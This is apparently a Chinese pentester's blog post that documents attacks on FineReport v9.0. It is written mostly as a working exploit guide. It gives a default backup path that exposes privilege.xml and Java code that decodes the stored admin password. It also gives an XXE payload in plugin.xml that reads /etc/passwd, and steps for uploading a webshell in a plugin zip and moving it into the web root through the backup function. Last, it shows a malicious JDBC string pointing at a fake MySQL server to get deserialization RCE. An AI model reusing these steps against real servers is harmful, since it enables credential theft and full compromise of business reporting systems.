帆软报表v9.0 Vulnerability

  2 mins to read  

List [CTL]

    TL; DR

    本篇是水文

    网上公开的目前只有帆软v8.0部分漏洞,而v9.0中这几个漏洞已修(HW快开始了)

    本文记录针对帆软v9.0渗透中发现的脆弱点

    • 前台备份文件泄露(默认路径)
    • 后台XXE
    • 后台GetShell
    • 后台任意jdbc串连接导致
      • 本地文件读取
      • 反序列化RCE

    前台备份文件泄露

    帆软v9.0提供了备份文件功能

    默认情况下(官方示例https://help.finebi.com/finebi4.1/doc-view-517.html)的备份文件路径是:

    path="${WEB_REPORT}/bakup"
    

    存在以下几种备份(就是bakup,不是我笔误):

    all_bakup  
    config_bakup  jar_bakup  log_bakup
    plugins_bakup  reportlets_bakup  update_bakup
    

    备份内部的路径为

    autobackup/YYYY.MM.DD<space>HH.MinMin.SS
    manualbackup/<NAME(default is timestamp)>
    

    如果确认WEB根目录下存在备份目录,可以尝试猜解timestamp。如果是Windows下,还可结合短文件名

    我所遇目标系统privilege.xml路径:

    http://IP/WebReport/bakup/config_bakup/autobackup/2020.04.07%2018.10.10/resources/privilege.xml
    

    privilege.xml中存放了编码后的admin密码,反编译jar可知编码算法

    // fr-core-9.0.jar/com/fr/stable/CommonCodeUtils.java
    public class Main {
        private static final int[] PASSWORD_MASK_ARRAY = {19, 78, 10, 15, 100, 213, 43, 23};
    
        public static String passwordDecode(String paramString) {
            if (paramString != null && paramString.startsWith("___")) {
                paramString = paramString.substring(3);
                StringBuilder stringBuilder = new StringBuilder();
                byte b1 = 0;
                for (byte b2 = 0; b2 <= paramString.length() - 4; b2 += 4) {
                    if (b1 == PASSWORD_MASK_ARRAY.length)
                        b1 = 0;
                    String str = paramString.substring(b2, b2 + 4);
                    int i = Integer.parseInt(str, 16) ^ PASSWORD_MASK_ARRAY[b1];
                    stringBuilder.append((char)i);
                    b1++;
                }
                paramString = stringBuilder.toString();
            }
            return paramString;
        }
    
        public static void main(String[] args) {
            String pwd = "___0022...";
            System.out.println(passwordDecode(pwd));
        }
    }
    
    

    后台XXE

    后台有上传插件功能,上传文件为zip格式,插件元信息放在压缩包的plugin.xml中

    将WebShell和plugin.xml压缩后上传,FineReport在解析plugin.xml时存在XXE

    至于源码我就不打算分析了,感兴趣可以自己反编译看一下,教科书式的XXE写法。可能是因为在后台,一直没有人提出

    两种利用:

    • 读文件,但XXE回显在插件管理栏时有字数限制,可FTP OOB。而且Java的XXE是可以列目录的,但其实后台有列目录接口,后面讲
    • SSRF,Windows下低版本JDK默认会启用NTLM认证,可以破解hash或hash relay

    plugin.xml示例:

    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
    <plugin>
        <id>EVIL</id>
        <name>&b;</name>
        <active>yes</active>
        <version>0.0.1</version>
        <env-version>8.0</env-version>
        <vendor>finereport.wei</vendor>   
        <jartime>2017-11-08</jartime>
        <description>&b;</description>
        <extra-report>
            <ActorProvider class="com.fr.wei.plugin.h5reportnew.server.report.Html5PageActorProvider"/>
        </extra-report>
        <extra-platform>
            <PlateProvider class="com.fr.wei.plugin.h5reportnew.server.fs.Html5ManagementPlateProvider"/>
        </extra-platform>
    </plugin>
    
    

    后台GetShell

    压缩包中的WebShell解压后会放在

    WEB-INF/plugins/plugin-EVIL-[VERSION]
    

    结合手动备份功能,将其备份到WEB目录下

    即可访问

    http://IP/WebReport/bakup/plugins_bakup/manualbackup/EVIL/plugins/plugin-EVIL-0.0.1/1.jsp
    

    假如备份文件路径不在WEB目录下,其实后台给了设置备份文件存储路径的功能,可以将WebShell转到可访问目录中

    智能运维 -> 备份还原 -> 设置 -> 备份路径
    

    我所遇目标系统就是通过这种方式getshell

    而且这里在选择备份路径时,是有列目录功能的

    POST
    /WebReport/ReportServer?op=fs_bakrestore&cmd=folder_tree
    
    serverID=&optype=get_nodes&parentID=/root&layer=1
    

    只要能进入后台,并且启用了插件功能,结合列目录,getshell基本没什么问题

    任意JDBC串连接

    数据库操作可导致反序列化,文章:

    https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649721398&idx=3&sn=ffc2b37268b51b61ed4edba5683cd5b5&chksm=888cba59bffb334fabaf35ffb588d7f0d9ed2d4959d7bfd3d4fa137821a23b7b525c2b1a33b3&mpshare=1&scene=23&srcid=&sharer_sharetime=1587033454342&sharer_shareid=04fc381b7838be4b14d617ae0623e947#rd

    目标系统是mysql-connector-java-5.1.6-bin.jar,在文章所说的可攻击范围内(我通过ysoserial.URLDNS验证确实可成功反序列化)

    攻击需要结合本地gadgets,反编译fr-third-9.0.jar发现存在springframework,但spring版本不合,反编译后发现没有springframework.beans.factory.support.AutowireUtilsspringframework.core.SerializableTypeWrapper。且目标是JDK8u242,就算spring是漏洞版本也无法攻击

    简单尝试后并没有找到可利用的gadgets,如果日后有机会可以尝试挖掘fr-core, fr-third, fr-chart等jar包

    在有可利用gadget情况下:

    fr-third-9.0.jar导入本地mvn仓库

    mvn install:install-file -Dfile='fr-third-9.0.jar' -DgroupId='com.fr.third' -DartifactId='fr-third' -Dversion='9.0' -Dpackaging=jar
    

    将gadget的package的导入的路径修改为com.fr.third.xxx,修改pom.xml加入fr-third dependency后重新编译

    服务端Fake_MySQL_Server监听,后台修改JDBC串为

    jdbc:mysql://IP:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_GADGET_CMD
    

    修改后随意触发一处查询即可RCE